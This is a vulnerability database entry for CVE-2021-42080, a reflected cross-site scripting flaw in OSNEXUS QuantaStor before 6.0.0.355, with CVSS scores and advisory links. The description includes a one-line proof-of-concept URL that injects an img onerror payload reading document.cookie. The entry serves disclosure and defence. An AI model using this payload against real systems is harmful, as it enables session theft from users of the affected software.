CVEvulnerability
CVE-2021-42080
7.4 HIGH
Official page ↗
- Status
- Modified
- Published
- 2023-07-10
- Last modified
- 2026-06-17
- Assigner
- [email protected]
- CVSS 3.1 ([email protected])
- 7.4 HIGH — CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
- CVSS 3.1 ([email protected])
- 7.4 HIGH — CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
- Weaknesses
- CWE-79
Description
An attacker is able to launch a Reflected XSS attack using a crafted URL.
POC:
Visit the following URL
https://<IPADDRESS>:8153/qstorapi/echo?inputMessage=<img%20src=x%20onerror=alert(document.cookie)>
Affected configurations
• osnexus quantastor (< 6.0.0.355)
Related
Weakness · CWE (1)
- CWE-79 Improper Neutralization of Input During Web Page Generation weakness
References
- https://csirt.divd.nl/CVE-2021-42080 Third Party Advisory
- https://csirt.divd.nl/DIVD-2021-00020/ csirt.divd.nl
- https://www.osnexus.com/products/software-defined-storage Product
- https://www.wbsec.nl/osnexus Third Party Advisory
- https://csirt.divd.nl/CVE-2021-42080 Third Party Advisory
- https://www.divd.nl/DIVD-2021-00020 www.divd.nl
- https://www.osnexus.com/products/software-defined-storage Product
- https://www.wbsec.nl/osnexus Third Party Advisory